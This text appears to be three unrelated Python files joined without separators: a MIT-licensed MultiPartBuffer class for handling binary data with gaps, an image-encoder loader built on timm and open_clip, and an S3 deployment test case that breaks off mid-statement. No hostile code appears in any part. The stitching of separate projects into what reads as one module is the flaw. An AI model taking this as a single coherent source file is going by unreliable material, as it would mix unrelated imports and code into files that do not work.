""" Provide class to handle a data buffer with multiple disconnected parts.

  License::

    MIT License

    Copyright (c) 2015-2022 by Martin Scharrer <martin.scharrer@web.de>

    Permission is hereby granted, free of charge, to any person obtaining a copy of this software
    and associated documentation files (the "Software"), to deal in the Software without
    restriction, including without limitation the rights to use, copy, modify, merge, publish,
    distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the
    Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all copies or
    substantial portions of the Software.

    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
    DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

"""

import collections.abc as collections
import copy

from hexformat.fillpattern import FillPattern, int_to_bytes

MOD_USABLE_BUFFER_FOUND = 0
MOD_NO_BUFFER_FOUND_NEXT_HIGHER_USED = 1
MOD_BEYOND_END_LAST_BUFFER_USED = -1

def ensurebuffer(buforint):
    if isinstance(buforint, bytearray):
        return buforint
    elif isinstance(buforint, collections.Sequence):
        return bytearray(buforint)
    else:
        return bytearray((buforint,))

class MultiPartBuffer(object):
    # noinspection PyUnresolvedReferences
    """Class to handle disconnected binary data.

       Each segment (simply called "part") is identified by its starting address and its content (a Buffer instance).

       Attributes:
         _STANDARD_FORMAT (str): The standard format used by :meth:`.fromfh` and :meth:`.fromfile` if no format
                                 was given.
         _padding (int, iterable or FillPattern): Standard fill pattern.
    """
    _STANDARD_FORMAT = 'bin'
    _padding = 0xFF

    def __init__(self):
        super(MultiPartBuffer, self).__init__()
        self._parts = list()

    def __repr__(self):
        """Print representation including class name, id, number of parts, range and used size."""
        start, totalsize = self.range()
        return "<{:s} at 0x{:X}: {:d} parts in range 0x{:X} + 0x{:X}; used 0x{:X}>".format(self.__class__.__name__,
                                                                                id(self), len(self._parts),
                                                                                start, totalsize,
                                                                                self.usedsize())

    # noinspection PyProtectedMember
    def __eq__(self, other):
        """Compare with other instance for equality."""
        return self._parts == other._parts

    def _create(self, beforeindex, address, data=list()):
        """Create new buffer before index or at end if index is None.

           Args:
             beforeindex (int): The data will be inserted before this index.
             address (int): Address of first byte in data buffer.
             data (Buffer): Data to be stored.
        """
        buffer = bytearray(data)
        if beforeindex is None:
            self._parts.append([address, buffer])
        else:
            self._parts.insert(beforeindex, [address, buffer])

    def _find(self, address, size, create=True):
        """Find buffer corresponding to data block given by address and size.

           Args:
             address (int): Starting address of data block.
             size (int): Size of data block.
             create (bool): If True a new (empty) buffer is created if no suitable one already exists.

           Returns:
             Tuple (buffer index, mod). The meaning of <mod> is
                0: MOD_USABLE_BUFFER_FOUND: Buffer of given index contains at least part of the given range. Always
                                            returned if create=True.
                1: MOD_NO_BUFFER_FOUND_NEXT_HIGHER_USED: No buffer containing the given range found. Index states next
                                                         buffer with an higher address.
                -1: MOD_BEYOND_END_LAST_BUFFER_USED: Address lies after all buffers. Index states last buffer before
                                                     address.
        """
        dataend = address + size
        for index, part in enumerate(self._parts):
            bufstart, buffer = part
            bufend = bufstart + len(buffer)
            if address < bufstart:
                if dataend < bufstart:
                    if create:
                        self._create(index, address)
                        return index, MOD_USABLE_BUFFER_FOUND
                    else:
                        return index, MOD_NO_BUFFER_FOUND_NEXT_HIGHER_USED
                else:
                    return index, MOD_USABLE_BUFFER_FOUND
            elif address <= bufend:
                return index, MOD_USABLE_BUFFER_FOUND
        # If this line is reached no matching buffer was found and address lies after all buffers
        index = (len(self._parts) - 1)
        if create:
            self._create(None, address)
            index += 1
            return index, MOD_USABLE_BUFFER_FOUND
        else:
            return index, MOD_BEYOND_END_LAST_BUFFER_USED

    def _insert(self, index, newdata, datasize, dataoffset):
        """Insert new data at begin of existing buffer. Reduce starting address of buffer accordantly.

           Args:
             index (int): Index of buffer.
             newdata (Buffer): Data buffer with new data to be inserted.
             datasize (int): Size of data be added. Can be smaller than data buffer size if not all content should be
                             inserted.
             dataoffset (int): Starting read offset of newdata.
        """
        if dataoffset == 0 and datasize == len(newdata):
            data = newdata
        else:
            data = newdata[dataoffset:dataoffset + datasize]
        self._parts[index][1] = bytearray(data) + self._parts[index][1]
        self._parts[index][0] -= datasize  # adjust address

    def _set(self, index, address, newdata, datasize, dataoffset):
        """Store new data in given buffer at given address. New data is read from given offset for the given size.

           Args:
             index (int): Index of buffer where data will be stored.
             address (int): Address of first data byte.
             newdata (Buffer): Data buffer with new data.
             datasize (int): Size of data. Can be smaller than data buffer size if not all content should be inserted.
             dataoffset (int): Starting read offset of newdata.
        """
        bufferstart = self._parts[index][0]
        bufferoffset = address - bufferstart
        self._parts[index][1][bufferoffset:bufferoffset + datasize] = newdata[dataoffset:dataoffset + datasize]

    def _extend(self, index, newdata, datasize, dataoffset):
        """Extend given buffer with the new data.

           Args:
             index (int): Index of buffer where data will be appended.
             newdata (Buffer): Data buffer with new data.
             datasize (int): Size of data. Can be smaller than data buffer size if not all content should be inserted.
             dataoffset (int): Starting read offset of newdata.
        """
        if dataoffset == 0 and datasize == len(newdata):
            data = newdata
        else:
            data = newdata[dataoffset:dataoffset + datasize]
        self._parts[index][1].extend(data)

    def _merge(self, index):
        """Merge the given buffer with the next following one.

           Args:
             index (int): Index of first buffer which will be merged with the next buffer.
        """
        nextpart = self._parts.pop(index + 1)
        self._parts[index][1].extend(nextpart[1])

    def setint(self, address, intvalue, datasize, byteorder='big', signed=False, overwrite=True):
        """Set integer value at given address."""
        databytes = int_to_bytes(intvalue, datasize, byteorder, signed=signed)
        return self.set(address, databytes, datasize, 0, overwrite)

    def set(self, address, newdata, datasize=None, dataoffset=0, overwrite=True):
        """Add <newdata> starting at <address>.
           The data size can be given explicitly, otherwise it is taken as len(newdata).
           Additionally a data offset can be specified to read the data starting from this index from <newdata>.
        """
        if datasize is None:
            datasize = len(newdata) - dataoffset

        if datasize == 0:
            return self

        (index, mod) = self._find(address, datasize, create=True)
        endaddress = address + datasize

        bufferstart, buffer = self._parts[index]
        bufferend = bufferstart + len(buffer)

        # Insert left overlapping data
        if address < bufferstart:
            before = bufferstart - address
            self._insert(index, newdata, before, dataoffset)
            # Adjust values for remaining data
            datasize -= before
            dataoffset += before
            address += before

        # Overwrite existing data
        if datasize > 0:
            size = min(datasize, bufferend - address)
            if overwrite:
                self._set(index, address, newdata, size, dataoffset)
            datasize -= size
            dataoffset += size
            address += size

        # Insert right overlapping data
        if endaddress > bufferend:
            nextindex = index + 1

            nextbufferstart = None
            if nextindex < len(self._parts):
                nextbufferstart = self._parts[nextindex][0]

            # Check if data does not reach into next buffer
            if nextbufferstart is None or nextbufferstart > endaddress:
                after = endaddress - bufferend
                self._extend(index, newdata, after, dataoffset)
            else:
                gap = nextbufferstart - bufferend
                self._extend(index, newdata, gap, dataoffset)
                datasize -= gap
                dataoffset += gap
                address += gap
                self._merge(index)
                self.set(address, newdata, datasize, dataoffset, overwrite)
        return self

    def crop(self, address, size=None):
        """Crop content to range <address>+<size> by deleting all other content."""
        address, size = self._checkaddrnsize(address, size)
        start, totalsize = self.range()
        end = start + totalsize
        self.delete(start, address - start)
        self.delete(address + size, end - address)
        return self

    def extract(self, address, size=None, keep=True):
        """Extract given range and return it as new instance. Gaps in the range are preserved.
           The <keep> argument controls if the range is kept in the original instance or deleted.
        """
        new = self.copy()
        new.crop(address, size)
        if not keep:
            self.delete(address, size)
        return new

    def includesgaps(self, address=None, size=None):
        address, size = self._checkaddrnsize(address, size)
        (index, mod) = self._find(address, size, False)
        if mod == MOD_USABLE_BUFFER_FOUND:
            (start, data) = self._parts[index]
            end = start + len(data)
            if (address < start) or (end < (address + size)):
                return True
            return False
        else:
            if len(self._parts) == 0 and address == 0 and size == 0:
                return False
            return True

    def offset(self, offset):
        """Add an offset to all addresses.
           A ValueError is raised if offset < -start, as this would lead to negative addresses.
           If offset is None, the negative start address is used, i.e. the first byte is moved to address 0.
        """
        start = self.start()
        if offset is None:
            offset = -start
        else:
            offset = int(offset)
        if offset < -start:
            raise ValueError("offset < -start")
        for part in self._parts:
            part[0] += offset
        return self

    def relocate(self, newaddress, address=None, size=None, overwrite=True):
        """Relocate given range to new address.
           If address is None the start address is used.
           If size is None the remaining size from address to the endaddress is used.
           The <overwrite> argument determines if existing data in the new range is overwritten
           or if the overlapping bytes of the relocated data are discarded.
        """
        newaddress = int(newaddress)
        address, size = self._checkaddrnsize(address, size)
        start, totalsize = self.range()
        if address == start and size == totalsize:
            self.offset(newaddress - address)
        else:
            data = self.get(address, size)
            self.delete(address, size)
            self.set(newaddress, data, overwrite=overwrite)
        return self

    def __getitem__(self, n):
        try:
            return self.get(int(n), 1)[0]
        except TypeError:
            if n.step is not None:
                raise IndexError("Slice step not supported")
            # _checkaddrnsize is used here while n.stop is not the size but the end address.
            # However, if None the correct size is returned and if not the value is adjusted later
            address, size = self._checkaddrnsize(n.start, n.stop)
            if n.stop is not None:
                size -= address
            return self.get(address, size)

    def delete(self, address, size=None):
        """Deletes <size> bytes starting from <address>. Does nothing if <size> is non-positive."""
        address, size = self._checkaddrnsize(address, size)
        while size > 0:
            (index, mod) = self._find(address, size, create=True)
            bufferstart, buffer = self._parts[index]
            buffersize = len(buffer)
            if address < bufferstart:
                size -= bufferstart - address
                address = bufferstart
            leading = address - bufferstart
            trailing = bufferstart + buffersize - address - size
            trailaddress = address + size
            if trailing > 0:
                if leading > 0:
                    self._parts[index][1] = buffer[0:leading]
                    self._create(index + 1, trailaddress, buffer[buffersize - trailing:buffersize])
                else:
                    self._parts[index][1] = buffer[buffersize - trailing:buffersize]
                    self._parts[index][0] = trailaddress
                break
            else:
                nextbufferstart = None
                if index < len(self._parts) - 1:
                    nextbufferstart = self._parts[index + 1][0]

                if leading > 0:
                    self._parts[index][1] = buffer[0:leading]
                else:
                    self._parts.pop(index)  # index now points to NEXT part

                if nextbufferstart is None:
                    break
                size = -trailing
                address = bufferstart + buffersize
                gap = nextbufferstart - address
                address += gap
                size -= gap
        return self

    def _filler(self, size, fillpattern):
        """Generate buffer with given fillpattern and size."""
        size = int(size)
        if isinstance(fillpattern, BaseException) or (
            type(fillpattern) == type and issubclass(fillpattern, BaseException)):
            raise fillpattern
        if fillpattern is None:
            fillpattern = self._padding
        fillpattern = FillPattern.frompattern(fillpattern)
        return bytearray(fillpattern[0:size])

    def _checkaddrnsize(self, address, size):
        """Helper method: Ensure proper address and size values.

        If address is None the starting address of the instance is substituted.
        Also if size is None the remaining size to the end of the last buffer is substituted.
        """
        if address is None or size is None:
            start, totalsize = self.range()
            if address is None:
                address = start
            if size is None:
                size = start + totalsize - address
        return address, size

    def fill(self, address=None, size=None, fillpattern=None, overwrite=False):
        """Fill with <fillpattern> from <address> for <size> bytes.
           Filling pattern can be a single byte (0..255) or list-like object.
           If <overwrite> is False (default) then only gaps are filled.
           If <address> is None the first existing address is used.
           If <size> is None the remaining size is used.
        """
        address, size = self._checkaddrnsize(address, size)
        self.set(address, self._filler(size, fillpattern), size, 0, overwrite)
        return self

    def unfill(self, address=None, size=None, unfillpattern=None, mingapsize=16, unfillboundaries=True):
        """Removes <unfillpattern> and leaves a gap, as long a resulting new gap would be least <mingapsize> large."""
        if len(self._parts) == 0:
            return self
        if unfillpattern is None:
            unfillpattern = self._padding
        if isinstance(unfillpattern, int):
            unfillpattern = [unfillpattern, ]
        unfillpattern = bytearray(unfillpattern)
        ufvlen = len(unfillpattern)
        address, size = self._checkaddrnsize(address, size)
        (index, mod) = self._find(address, size, create=False)
        if mod != MOD_USABLE_BUFFER_FOUND:
            return self
        uflist = list()
        while index < len(self._parts) and size > 0:
            bufferstart, buffer = self._parts[index]
            buffersize = len(buffer)
            startpos = address - bufferstart
            if startpos < 0:
                size += startpos
                startpos = 0
            maxpos = min(buffersize, size)
            pos = startpos
            try:
                while pos < maxpos:
                    delstartpos = buffer.index(unfillpattern, pos, maxpos)
                    pos = delstartpos + ufvlen
                    while buffer.startswith(unfillpattern, pos, maxpos):
                        pos += ufvlen
                    ufsize = pos - delstartpos
                    # always delete at part boundaries
                    if ufsize >= mingapsize or (unfillboundaries and (pos == buffersize or delstartpos == startpos)):
                        uflist.append((bufferstart + delstartpos, ufsize))
            except ValueError:
                pass
            index += 1
            size -= maxpos
            address += buffersize

        for deladdr, delsize in uflist:
            self.delete(deladdr, delsize)
        return self

    def get(self, address, size, fillpattern=None):
        """ Get <size> bytes from <address>. Fill missing bytes with <fillpattern>.

            Where <fillpattern> can be:
             1. A byte-sized integer, i.e. in range 0..255.
             2. A list-like object which has all of the following properties:
                 - can be converted to a list of bytes
                 - is indexable
                 - should be multipliable
             3. A type which produces a list-like object as mentioned in 2) if
                instanciated with no argument or with the requested size as only argument.
             4. An exception class or instance.
                If given then no filling is performed but the exception is raised if filling would be required.
        """
        address, size = self._checkaddrnsize(address, size)
        (index, mod) = self._find(address, size, create=False)
        endaddress = address + size

        retbuffer = bytearray()

        if mod != 0:
            return self._filler(size, fillpattern)
        else:
            bufferstart, buffer = self._parts[index]
            bufferend = bufferstart + len(buffer)

            if address < bufferstart:
                before = bufferstart - address
                retbuffer = self._filler(before, fillpattern)
                size -= before
                address += before

            pos = address - bufferstart
            insize = min(size, bufferend - pos)
            if insize > 0:
                if len(retbuffer) > 0:
                    retbuffer.extend(buffer[pos: pos + insize])
                else:
                    retbuffer = buffer[pos: pos + insize]
                size -= insize
                address += insize

            if endaddress > bufferend:
                nextindex = index + 1

                nextbufferstart = None
                if nextindex < len(self._parts):
                    nextbufferstart = self._parts[nextindex][0]
                # Check if data does not reach into next buffer
                if nextbufferstart is None or nextbufferstart > endaddress:
                    after = endaddress - bufferend
                    retbuffer.extend(self._filler(after, fillpattern))
                else:
                    gap = nextbufferstart - bufferend
                    retbuffer.extend(self._filler(gap, fillpattern))
                    size -= gap
                    address += gap
                    retbuffer.extend(self.get(address, size, fillpattern))
        return retbuffer

    def range(self):
        """Get range of content as (start address, size) tuple. The range may contain unfilled gaps.
           An empty buffer with return (0, 0).
        """
        if len(self._parts) == 0:
            return 0, 0
        else:
            start = self._parts[0][0]
            lastaddress, buffer = self._parts[-1]
            totalsize = lastaddress + len(buffer) - start
            return start, totalsize

    def start(self):
        """Get start address. An empty buffer with return 0."""
        if len(self._parts) == 0:
            return 0
        else:
            return self._parts[0][0]

    def end(self):
        """Get end address, i.e. the address one after the very last byte of data.
           An empty buffer will return 0.
        """
        (start, totalsize) = self.range()
        return start + totalsize

    def usedsize(self):
        """Returns used data size, i.e. without the size of any gaps"""
        return sum([len(buffer) for addr, buffer in self._parts])

    def parts(self):
        """Return a list with (address,length) tuples for all parts."""
        return [(start, len(data)) for start, data in self._parts]

    def gaps(self):
        """Return a list with (address,length) tuples for all gaps between the existing parts."""
        gaplist = list()
        for n in range(0, len(self._parts) - 1):
            address, buffer = self._parts[n]
            nextaddress = self._parts[n + 1][0]
            endaddress = address + len(buffer)
            gap = nextaddress - endaddress
            gaplist.append([endaddress, gap])
        return gaplist

    def hasdata(self, address=None, size=None):
        """Returns True if there is data in area (address, size)."""
        address, size = self._checkaddrnsize(address, size)
        index, mod = self._find(address, size, create=False)
        # Check if there is a suitable buffer
        if mod != MOD_USABLE_BUFFER_FOUND:
            # No data if not
            return False
        # Otherwise the given address might be just at the end of the buffer.
        # It hasdata only if the address is really inside the buffer span, not at the very end.
        adr, data = self._parts[index]
        return address < adr + len(data)

    def blockfilter(self, blocksize, filterfunc, address=None, size=None, skipempty=False):
        """Execute op(address, blocksize) for each block of <blocksize>."""
        address, size = self._checkaddrnsize(address, size)
        try:
            blocksize = int(blocksize)
            assert blocksize > 0
        except AssertionError:
            raise ValueError
        endaddress = address + size
        # Align startaddress to blocksize
        startaddress = int(address / blocksize) * blocksize

        for addr in range(startaddress, endaddress, blocksize):
            if not skipempty or self.hasdata(addr, blocksize):
                filterfunc(addr, blocksize)

    def blockfill(self, blocksize, address=None, size=None, fillpattern=None, overwrite=False):
        """Fill with <fillpattern> blockwise with given <blocksize>. Skipping empty blocks."""
        def doblockfill(_address, _size):
            self.fill(_address, _size, fillpattern, overwrite)
        self.blockfilter(blocksize, doblockfill, address, size, skipempty=True)
        return self

    def blockunfill(self, blocksize, address=None, size=None, unfillpattern=None, mingapsize=None, unfillboundaries=False):
        """Unfill with <unfillpattern> blockwise with given <blocksize>."""
        if mingapsize is None:
            mingapsize = blocksize
        def doblockunfill(_address, _size):
            self.unfill(_address, _size, unfillpattern, mingapsize, unfillboundaries)
        self.blockfilter(blocksize, doblockunfill, address, size, skipempty=True)
        return self

    def fillgaps(self, fillpattern=None):
        """Fill all gaps with given fillpattern."""
        for address, size in self.gaps():
            self.fill(address, size, fillpattern)
        return self

    def fillfront(self, startaddress=0, fillpattern=None):
        """Fill the data range in front starting from the given address (0 by default)
           to the beginning of the buffer.
        """
        if len(self._parts) > 0:
            endaddress = self._parts[0][0]
            size = endaddress - startaddress
            if size > 0:
                self.fill(startaddress, size, fillpattern)
        return self

    def fillend(self, endaddress, fillpattern=None):
        """Fill the data range after the buffer up to the given address.
        """
        (startaddress, totalsize) = self.range()
        startaddress += totalsize
        size = endaddress - startaddress
        if size > 0:
            self.fill(startaddress, size, fillpattern)
        return self

    def tobinfile(self, filename, address=None, size=None, fillpattern=None):
        """ """
        with open(filename, "wb") as fh:
            return self.tobinfh(fh, address, size, fillpattern)

    def tobinfh(self, fh, address=None, size=None, fillpattern=None):
        """ """
        start, esize = self.range()
        if address is not None:
            if address < 0:
                address = 0
            endaddress = start + esize
            esize = endaddress - address
            start = address
            if esize < 0:
                esize = 0
        if size is None:
            size = esize
        fh.write(self.get(start, size, fillpattern))
        return self

    def todict(self):
        """Return a dictionary with a numeric key for all used bytes like intelhex.IntelHex does it."""
        d = {addr: byte for address, buffer in self._parts for addr, byte in enumerate(buffer, address)}
        return d

    def loaddict(self, d, overwrite=True):
        """Load data from dictionary where each key must be numeric and represent an address and the corresponding \
        value the byte value."""
        for addr, byte in d.items():
            self.set(addr, (byte,), 1, overwrite=overwrite)
        return self

    def __iadd__(self, other):
        """Add content of other instance to itself, overwriting existing data if parts overlap.

           Args:
             other (MultiPartBuffer, dict or iterable): Second summand.
               If a dict then the keys must be address and the values a buffer.
               If an iterable it must yield (address, data) combinations.
        """
        return self.add(other, True)

    def __add__(self, other):
        """Add two instances together and return the sum as new instance.

           Args:
             other (MultiPartBuffer, dict or iterable): Second summand.
               If a dict then the keys must be address and the values a buffer.
               If an iterable it must yield (address, data) combinations.

           Returns:
             New instance with the data of both sources combined.
             Overlapping parts will be set to the data of the second summand.
        """
        newinst = self.copy()
        newinst.__iadd__(other)
        return newinst

    def __ior__(self, other):
        """Add content of other instance to itself, keeping existing data if parts overlap.

           Args:
             other (MultiPartBuffer, dict or iterable): Second summand.
               If a dict then the keys must be address and the values a buffer.
               If an iterable it must yield (address, data) combinations.
        """
        return self.add(other, False)

    def __or__(self, other):
        inst = self.copy()
        return inst.add(other, False)

    def add(self, other, overwrite=True):
        """Add content of other instance to itself, overwriting or keeping existing data if parts overlap.

           Args:
             other (MultiPartBuffer, dict or iterable): Second summand.
               If a dict then the keys must be address and the values a buffer.
               If an iterable it must yield (address, data) combinations.
             overwrite (bool): If True existing data will be overwritten if parts overlap.
        """
        if isinstance(other, MultiPartBuffer):
            source = other._parts
        elif isinstance(other, dict):
            source = iter(other.items())
        else:
            source = other
        try:
            for address, buffer in source:
                self.set(address, ensurebuffer(buffer), overwrite=overwrite)
        except Exception as e:
            raise TypeError(e)
        return self

    def copy(self):
        """Return a deep copy of the instance."""
        return copy.deepcopy(self)

    def filter(self, filterfunc, address=None, size=None, fillpattern=None):
        """Call filterfunc(bufferaddr, buffer, bufferstartindex, buffersize) on all parts matching <address> and <size>.
           If <address> is None the first existing address is used.
           If <size> is None the remaining size is used.
           If fillpattern is NOT None the given range is filled and the filter function will be called with the
           resulting single part.
        """
        address, size = self._checkaddrnsize(address, size)
        if size <= 0:  # don't filter over a non-positive range
            return self
        if fillpattern is not None:
            self.fill(address, size, fillpattern)
        (startindex, mod1) = self._find(address, size, create=False)
        if mod1 != MOD_USABLE_BUFFER_FOUND:  # range not included (was not filled)
            return self
        endaddress = address + size
        (lastindex, mod2) = self._find(endaddress - 1, 0, create=False)
        if mod2 == MOD_NO_BUFFER_FOUND_NEXT_HIGHER_USED:
            lastindex -= 1
        for bufferaddr, buffer in self._parts[startindex:lastindex + 1]:
            bufferstartindex = max(address - bufferaddr, 0)
            bufferendindex = min(len(buffer), endaddress - bufferaddr)
            filterfunc(bufferaddr, buffer, bufferstartindex, bufferendindex)
        return self

    @classmethod
    def fromfile(cls, filename, fformat=None, *args, **kvargs):
        """ """
        if fformat is None:
            fformat = cls._STANDARD_FORMAT
        methodname = "from" + fformat.lower() + "file"
        if hasattr(cls, methodname):
            return getattr(cls, methodname)(filename, *args, **kvargs)
        else:
            with open(filename, "r") as fh:
                return cls.fromfh(fh, *args, fformat=fformat, **kvargs)

    def loadfile(self, filename, fformat=None, *args, **kvargs):
        """ """
        with open(filename, "rb") as fh:
            return self.loadfh(fh, fformat, *args, **kvargs)

    def tofile(self, filename, fformat=None, *args, **kvargs):
        """ """
        opt = "w"
        if fformat == "bin" or (fformat is None and self._STANDARD_FORMAT == "bin"):
            opt = "wb"
        with open(filename, opt) as fh:
            self.tofh(fh, *args, fformat=fformat, **kvargs)
        return self

    def tofh(self, fh, fformat=None, *args, **kvargs):
        """ """
        if fformat is None:
            fformat = self._STANDARD_FORMAT
        methodname = "to" + fformat.lower() + "fh"
        if hasattr(self, methodname):
            getattr(self, methodname)(fh, *args, **kvargs)
        else:
            raise ValueError
        return self

    def loadfh(self, fh, fformat=None, *args, **kvargs):
        """ """
        if fformat is None:
            fformat = self._STANDARD_FORMAT
        methodname = "load" + fformat.lower() + "fh"
        if hasattr(self, methodname):
            getattr(self, methodname)(fh, *args, **kvargs)
        else:
            raise ValueError
        return self

    @classmethod
    def fromfh(cls, fh, fformat=None, *args, **kvargs):
        """ """
        if fformat is None:
            fformat = cls._STANDARD_FORMAT
        methodname = "load" + fformat.lower() + "fh"
        self = cls()
        if hasattr(self, methodname):
            getattr(self, methodname)(fh, *args, **kvargs)
        else:
            raise ValueError
        return self

    @classmethod
    def frombinfile(cls, filename, address=0, size=-1, offset=0):
        """ """
        with open(filename, "rb") as fh:
            return cls.frombinfh(fh, address, size, offset)

    @classmethod
    def frombinfh(cls, fh, address=0, size=-1, offset=0):
        """ """
        self = cls()
        self.loadbinfh(fh, address, size, offset)
        return self

    def loadbinfh(self, fh, address=0, size=-1, offset=0):
        """ """
        if offset != 0:
            fh.seek(offset, (offset < 0) and 2 or 0)
        buffer = bytearray(fh.read(size))
        self.set(address, buffer)
        return self

    def loadbinfile(self, filename, address=0, size=-1, offset=0):
        """ """
        with open(filename, "rb") as fh:
            return self.loadbinfh(fh, address, size, offset)


import torch
import torch.nn as nn
from typing import Callable, Union
from torchtyping import patch_typeguard
from einops import rearrange
import timm
import open_clip
from functools import partial

# ----------------------------- Utils --------------------------------------

# clip.model.LayerNorm = (
#     nn.LayerNorm
# )  # we need to patch this for clip to work with deepspeed
# patch_typeguard()  # needed for torchtyping typechecks to work

class Lambda(torch.nn.Module):
    def __init__(self, fn: Callable):
        super().__init__()
        assert hasattr(fn, "__call__")
        self.fn = fn

    def forward(self, x):
        return self.fn(x)

# ------------------------- Image encoders ----------------------------------

def nfresnet50(
    device: Union[torch.device, str] = None, pretrained: bool = True
) -> nn.Module:
    """
    Loads nfresnet50 model, removing the pooling layer and replacing it with
    an adaptive pooling layer.
    """
    encoder = torch.nn.Sequential(
        *list(timm.create_model("nf_resnet50", pretrained=pretrained).children())[:-1]
    )
    pooling = torch.nn.AdaptiveAvgPool2d((1, 1))
    encoder = torch.nn.Sequential(encoder, pooling)
    if device is not None:
        encoder = encoder.to(device)
    return encoder

def clip_encoder(
    device: Union[torch.device, str] = None, name: str = "clip",
) -> nn.Module:
    """
    Loads clip's image encoder module, discarding the lm component.

    If the variant is a resnet model, we also remove the attention pooling.
    """
    if name in ["clip", "ViT-B/32"]:
        name, pretrained = "ViT-B-32", "openai"
    elif name in ["clip_resnet", "RN50x4"]:
        name, pretrained = "RN50x4", "openai"
    elif name in ["clip_resnet_large", "RN50x16"]:
        name, pretrained = "RN50x16", "openai"
    elif "openclip" in name:
        if "H" in name:
            name, pretrained = "ViT-H-14", "laion2b_s32b_b79k"
        elif "B" in name and "32" in name:
            name, pretrained = "ViT-B-32", "laion2b_s34b_b79k"
        else:
            raise NotImplementedError(f"Encoder {name} not recognized")
    else:
        raise NotImplementedError(f"Encoder {name} not recognized")

    # TODO better internet connection
    encoder = open_clip.create_model(name, device=device, precision="fp16" if "cuda" in str(device) else "fp32").visual  # , pretrained=pretrained).visual

    if "RN" in name:
        # remove attention pooling
        encoder.attnpool = Lambda(
            partial(rearrange, pattern="b d h w -> b (h w) d")
        )  # remove attn pooling, just use reshaped features

    if False and hasattr(encoder, "transformer"):  # TODO when do we want to disable pooling?
        def forward(self, x: torch.Tensor):
            x = self.conv1(x)  # shape = [*, width, grid, grid]
            x = x.reshape(x.shape[0], x.shape[1], -1)  # shape = [*, width, grid ** 2]
            x = x.permute(0, 2, 1)  # shape = [*, grid ** 2, width]
            x = torch.cat(
                [self.class_embedding.to(x.dtype) + torch.zeros(x.shape[0], 1, x.shape[-1], dtype=x.dtype, device=x.device),
                 x], dim=1)  # shape = [*, grid ** 2 + 1, width]
            x = x + self.positional_embedding.to(x.dtype)

            ## a patch_dropout of 0. would mean it is disabled and this function would do nothing but return what was passed in
            # x = self.patch_dropout(x)
            x = self.ln_pre(x)

            x = x.permute(1, 0, 2)  # NLD -> LND
            x = self.transformer(x)
            x = self.ln_post(x)
            x = x.permute(1, 0, 2)  # LND -> NLD
            return x
        encoder.forward = partial(forward, encoder)

    if device is not None:
        encoder = encoder.to(device)

    return encoder

def get_image_encoder(
    name: str, device: Union[torch.device, str] = None, pretrained: bool = False
) -> torch.nn.Module:
    """
    Loads image encoder module
    """
    if name == "nfresnet50":
        encoder = nfresnet50(device=device, pretrained=pretrained)
    elif "clip" in name:
        encoder = clip_encoder(device=device, name=name)
    else:
        raise ValueError(f"image encoder {name} not recognized")
    return encoder


import os
import tempfile

from infra_buddy.context.deploy_ctx import DeployContext

from infra_buddy.aws import s3
from infra_buddy.aws.s3 import S3Buddy, CloudFormationDeployS3Buddy
from infra_buddy.deploy.s3_deploy import S3Deploy
from testcase_parent import ParentTestCase

class TestCloudFormationBuddy(object):

    def __init__(self, deploy_ctx):
        super(TestCloudFormationBuddy, self).__init__()
        self.ctx = deploy_ctx

    def get_export_value(self, param):
        return "{bucket_name}/{root_path}".format(
            root_path=self.ctx.cf_deploy_resource_path,
            bucket_name=self.ctx.cf_bucket_name
        )

class S3TestCase(ParentTestCase):
    def tearDown(self):
        pass

    @classmethod
    def setUpClass(cls):
        super(S3TestCase, cls).setUpClass()

    def test_bucket_configuration(self):
        self._validate_s3(self.test_deploy_ctx)

    def test_bucket_configuration_us_east_1(self):
        test_deploy_ctx = DeployContext.create_deploy_context(
            application="foo", role="bar-{}".format(self.run_random_word), environment="unit-test",
            defaults=self.east_config
        )
        self._validate_s3(test_deploy_ctx)

    def _validate_s3(self, deploy_ctx):
        s3_buddy = CloudFormationDeployS3Buddy(deploy_ctx)
        try:
            self.assertEqual(s3_buddy.key_root_path, self.test_deploy_ctx.cf_deploy_resource_path,
                             "Did not init correct path")
            self.assertEqual(s3_buddy.bucket.name, self.test_deploy_ctx.cf_bucket_name,
                             "Did not init correct bucket")
            if deploy_ctx.region == 'us-east-1':
                base = 's3'
            else:
                base = "s3-{}".format(deploy_ctx.region)
            self.assertEqual(s3_buddy.url_base,
                             "https://{}.amazonaws.com/unit-test-foo-cloudformation-deploy-resources".format(
                                 base),
                             "Did not init correct url")
        finally:
            self.clean_s3(s3_buddy)

    def test_file_operations(self):

        s3_buddy = CloudFormationDeployS3Buddy(self.test_deploy_ctx)
        try:
            changeset = ParentTestCase._get_resource_path("cloudformation/sample_changeset.json")
            s3_buddy.upload(changeset)
            with open(changeset, 'r') as cs:
                change_set_string = cs.read()
                self.assertEqual(
                    s3_buddy.get_file_as_string('sample_changeset.json'),
                    change_set_string, "Failed to get file as string"
                )
            self.assertEqual(
                s3_buddy._get_s3_object('sample_changeset.json')['ContentType'],
                'application/json',
                "Did not persist correct content type"
            )
        finally:
            self.clean_s3(s3_buddy)

    def test_zip_download(self):
        s3_buddy = CloudFormationDeployS3Buddy(self.test_deploy_ctx)
        compress = ParentTestCase._get_resource_path("s3_tests/test_compress.json.zip")
        s3_buddy.upload(compress)
        s3_url = "s3://{bucket}/{key}".format(
            bucket=self.test_deploy_ctx.cf_bucket_name,
            key=s3_buddy._get_upload_bucket_key_name(file=None, key_name="test_compress.json.zip")
        )
        temp_dir = tempfile.mkdtemp()
        test_file = os.path.join(temp_dir, "test_compress.json")
        try:
            s3.download_zip_from_s3_url(s3_url, temp_dir)
            self.assertTrue(os.path.exists(test_file), "Failed to decompress file")
        finally:
            self.clean_dir(temp_dir)
            self.clean_s3(s3_buddy)

    def test_s3_deploy(self):
        s3_buddy = CloudFormationDeployS3Buddy(self.test_deploy_ctx)
        try:
            compress = ParentTestCase._get_resource_path("s3_tests/test_compress.json.zip")
            s3_buddy.upload(compress)
            s3_url = "{bucket}/{key}".format(
